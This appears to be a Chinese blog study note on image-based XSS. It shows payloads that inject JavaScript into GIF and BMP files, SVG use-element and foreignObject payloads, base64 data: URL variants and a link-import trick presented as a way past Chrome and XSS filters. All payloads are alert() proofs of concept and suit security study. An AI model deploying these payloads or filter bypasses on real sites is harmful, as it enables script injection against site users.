最近做题遇到图片XSS的构造,这里就小结一下笔记吧。

图片XSS

图片XSS,简单地说,就是将JavaScript代码尽量插入图片的无用区域,在不影响图片显示的情况下满足JS代码格式从而执行图片中的JS代码导致XSS。

注意:只对IE有效,Chrome和Firefox无法触发。

向gif文件中注入JavaScript的脚本:http://pastebin.com/6yUbfGX5

向bmp文件中注入JavaScript的脚本:http://pastebin.com/04y7ee3u

gif图片插入payload:python gif_injector.py -i flower.gif "alert('Mi1k7ea');"

bmp图片插入payload:python bmpinjector.py -i pain.bmp "alert(location);"

写段页面代码加载该图片:

1
2
3
4
5
6
7
8
9
<html>
<head>
<title>Image XSS Test</title>
</head>
<body>
<img src="flower.gif_malw.gif" />
<script src="flower.gif_malw.gif"></script>
</body>
</html>

但是现在只剩gif可以执行XSS了,bmp不行:

SVG XSS

SVG是一种基于XML的图像文件格式。

use元素

SVG中的use元素用于重用其他元素,主要用于联接defs和alike,而我们却用它来引用外部SVG文件中的元素。

元素通过其id被引用,在use标签的xlink:href属性中以’#’井字符开头,外部元素的引用同样如此。

示例如下。

pic.html:

1
2
3
<svg>
<use xlink:href='exp.svg#m7' />
</svg>

exp.svg:

1
2
3
4
5
<svg id="m7" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
<a xlink:href="javascript:alert('Mi1k7ea')">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>

.svg文件以svg标签开始,其id设置为m7,使用rect标签绘一个矩形。可以使用a环绕rect标签,这样会创建一个超链接。使用Javascript伪协议,可点击的超链接在点击后会执行Javascript。虽然SVG是经由use标签加载的,但是Javascript将会执行。有一点需要注意,它只能加载SVG文件,必须满足同源策略。

可以看到测试结果,在chrome和Firefox下点击黑框都能弹框:

data:url+Base64

由于加载的外部SVG文件必须是同源的,这个特性看起来似乎无法作为有用的XSS攻击向量,但可以使用data:url协议来帮我们提升这个攻击向量。

首先,它允许我们从内部创建一个文件,要求正确的mime-type,在这里为image/svg+xml。mimie-type后是我们的攻击载荷或关键字base64。特别地,由于数据被base64编码,这有助于避免突破HTML结构的问题。

现在我们不必再依赖于服务器上的另一个文件了,改进一下pic.html:

1
2
3
<svg>
<use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0ibTciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4NCjxhIHhsaW5rOmhyZWY9ImphdmFzY3JpcHQ6YWxlcnQoJ1hTUyEnKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zdmc+#m7" />
</svg>

其中base64加密的内容为:

1
2
3
<svg id="m7" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
<a xlink:href="javascript:alert('XSS!')"><rect x="0" y="0" width="100" height="100" /></a>
</svg>

但只能在Firefox中测试可行,点击黑框后能够成功触发:

无需点击——foreignObject元素

如果在exp.svg中写script标签是不会被解析,但是SVG支持foreignObject元素。

通过阐述这个对象需要的扩展属性,有可能加载非SVG元素。这就意味着现在有可能是有iframe、embed及其他所有支持的HTML元素了,我们可以从一堆元素中进行选择执行Javascript,这里使用embed+JavascriptURL协议。

pic.html:

1
2
3
<svg>
<use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0ibTciIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KPHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo8Zm9yZWlnbk9iamVjdCB3aWR0aD0iMTAwIiBoZWlnaHQ9IjUwIiByZXF1aXJlZEV4dGVuc2lvbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPgoJPGVtYmVkIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiBzcmM9ImphdmFzY3JpcHQ6YWxlcnQoNjY2KSIgLz4KPC9mb3JlaWduT2JqZWN0Pgo8L3N2Zz4=#m7" />
</svg>

其中base64加密内容为:

1
2
3
4
5
6
<svg id="m7" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
<script>alert(1)</script>
<foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml">
<embed xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(666)" />
</foreignObject>
</svg>

可以看到,在Firefox下,无需点击即可触发foreignObject标签内embed的JS伪协议执行JS代码从而弹框,同时没有弹框显示1说明了script标签不会被解析:

前面利用use元素结合data:url只能在Firefox下生效,Chrome却不会触发。

这里可利用link来bypass Chrome。

示例pic.html如下,加密内容为<script>alert("Hello");</script>

1
<link rel="import" href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">

在Chrome下成功执行(Firefox未成功):

当然link的形式很多,href的地方本身就是可以插入js代码的,但是通过base64加密,可以bypass各种奇怪的过滤。

这里很多用到了data类型的url,可参考如下:

1
2
3
4
5
6
7
8
9
10
11
12
data:,<文本数据>  
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据

参考

浅析图片XSS中的哪些技术问题

用SVG绕过浏览器XSS审计